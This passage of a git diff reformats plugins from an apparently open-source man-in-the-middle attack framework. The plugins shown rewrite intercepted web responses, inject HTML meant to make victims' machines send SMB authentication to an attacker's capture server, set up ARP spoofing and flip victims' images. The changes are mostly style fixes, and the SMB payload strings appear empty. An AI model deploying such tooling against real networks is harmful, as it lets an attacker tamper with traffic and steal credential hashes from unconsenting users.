ip, hn, mime = self._get_req_info(request) - if self._should_replace(ip,hn,mime): - - if self.search_str!=None and self.search_str!="": + if self._should_replace(ip, hn, mime): + + if self.search_str is not None and self.search_str != "": data = data.replace(self.search_str, self.replace_str) logging.info("%s [%s] Replaced '%s' with '%s'" % (request.client.getClientIP(), request.headers['host'], self.search_str, self.replace_str)) - # Did the user provide us with a regex file? for regex in self.regexes: try: data = re.sub(regex[0], regex[1], data) logging.info("%s [%s] Occurances matching '%s' replaced with '%s'" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) - except Exception, e: + except Exception: logging.error("%s [%s] Your provided regex (%s) or replace value (%s) is empty or invalid. Please debug your provided regex(es)" % (request.client.getClientIP(), request.headers['host'], regex[0], regex[1])) self.ctable[ip] = time.time() self.dtable[ip+hn] = True - return {'request':request,'data':data} - + return {'request': request, 'data': data} + return - def add_options(self,options): - options.add_argument("--search-str",type=str,default=None,help="String you would like to replace --replace-str with. Default: '' (empty string)") - options.add_argument("--replace-str",type=str,default="",help="String you would like to replace.") - options.add_argument("--regex-file",type=file,help="Load file with regexes. File format: [tab][new-line]") - options.add_argument("--keep-cache",action="store_true",help="Don't kill the server/client caching.") + def add_options(self, options): + options.add_argument("--search-str", type=str, default=None, help="String you would like to replace --replace-str with. Default: '' (empty string)") + options.add_argument("--replace-str", type=str, default="", help="String you would like to replace.") + options.add_argument("--regex-file", type=file, help="Load file with regexes. File format: [tab][new-line]") + options.add_argument("--keep-cache", action="store_true", help="Don't kill the server/client caching.") - def _should_replace(self,ip,hn,mime): - return mime.find(self.mime)!=-1 - - def _get_req_info(self,request): + def _should_replace(self, ip, hn, mime): + return mime.find(self.mime) != -1 + + def _get_req_info(self, request): ip = request.client.getClientIP() hn = request.client.getRequestHostname() mime = request.client.headers['Content-Type'] - return (ip,hn,mime) + return (ip, hn, mime) diff --git a/plugins/SMBAuth.py b/plugins/SMBAuth.py index 13aeab3..64c55ce 100644 --- a/plugins/SMBAuth.py +++ b/plugins/SMBAuth.py @@ -1,22 +1,22 @@ from plugins.plugin import Plugin from plugins.Inject import Inject -class SMBAuth(Inject,Plugin): + +class SMBAuth(Inject, Plugin): name = "SMBAuth" optname = "smbauth" desc = "Evoke SMB challenge-response auth attempts" - - def initialize(self,options): - Inject.initialize(self,options) + + def initialize(self, options): + Inject.initialize(self, options) self.target_ip = options.host self.html_payload = self._get_data() print "[*] SMBAuth plugin online" - def add_options(self,options): + def add_options(self, options): options.add_argument("--host", type=str, help="The ip address of your capture server") - + def _get_data(self): return ''\ ''\ - ''\ - % tuple([self.target_ip]*3) + '' % tuple([self.target_ip]*3) diff --git a/plugins/Spoof.py b/plugins/Spoof.py index 9bb24a0..5342ac9 100644 --- a/plugins/Spoof.py +++ b/plugins/Spoof.py @@ -42,7 +42,7 @@ class Spoof(Plugin): self.target = options.target self.arpmode = options.arpmode self.port = self.options.listen - self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de + self.manualiptables = options.manualiptables #added by alexander.georgiev@daloo.de self.debug = False self.send = True diff --git a/plugins/Upsidedownternet.py b/plugins/Upsidedownternet.py index 6f7e997..b9852d9 100644 --- a/plugins/Upsidedownternet.py +++ b/plugins/Upsidedownternet.py @@ -1,47 +1,49 @@ import logging from cStringIO import StringIO from plugins.plugin import Plugin +from PIL import Image + class Upsidedownternet(Plugin): name = "Upsidedownternet" optname = "upsidedownternet" desc = 'Flips images 180 degrees' has_opts = False - implements = ["handleResponse","handleHeader"] - - def initialize(self,options): - from PIL import Image,ImageFile + implements = ["handleResponse", "handleHeader"] + + def initialize(self, options): + from PIL import Image, ImageFile globals()['Image'] = Image globals()['ImageFile'] = ImageFile - self.options = options - - def handleHeader(self,request,key,value): + self.options = options + + def handleHeader(self, request, key, value): '''Kill the image skipping that's in place for speed reasons''' if request.isImageRequest: request.isImageRequest = False request.isImage = True - request.imageType = value.split("/")[1].upper() - - def handleResponse(self,request,data): + request.imageType = value.split("/")[1].upper() + + def handleResponse(self, request, data): try: - isImage = getattr(request,'isImage') + isImage = getattr(request, 'isImage') except AttributeError: isImage = False if isImage: try: - image_type=request.imageType + image_type = request.imageType #For some reason more images get parsed using the parser #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() + p = Image.Parser() p.feed(data) im = p.close() - im=im.transpose(Image.ROTATE_180) + im = im.transpose(Image.ROTATE_180) output = StringIO() - im.save(output,format=image_type) - data=output.getvalue() + im.save(output, format=image_type) + data = output.getvalue() output.close() logging.info("Flipped image") except Exception as e: print "Error: %s" % e - return {'request':request,'data':data} + return {'request': request, 'data': data} diff --git a/plugins/plugin.py b/plugins/plugin.py index 2b4848e..4b8cd37 100644 --- a/plugins/plugin.py +++ b/plugins/plugin.py @@ -3,16 +3,19 @@ The base plugin class. This shows the various methods that can get called during the MITM attack. ''' + class Plugin(object): name = "Generic plugin" optname = "generic" desc = "" implements = [] has_opts = False + def __init__(self): '''Called on plugin instantiation. Probably don't need this''' pass - def initialize(self,options): + + def initialize(self, options): '''Called if plugin is enabled, passed the options namespace''' self.options = options @@ -20,15 +23,15 @@ class Plugin(object): '''Add your options to the options parser''' raise NotImplementedError - def handleHeader(self,request,key,value): + def handleHeader(self, request, key, value): '''Handles all response headers''' raise NotImplementedError - def connectionMade(self,request): + def connectionMade(self, request): '''Handles outgoing request''' raise NotImplementedError - - def handleResponse(self,request,data): + + def handleResponse(self, request, data): ''' Handles all non-image responses by default. See Upsidedownternet for how to get images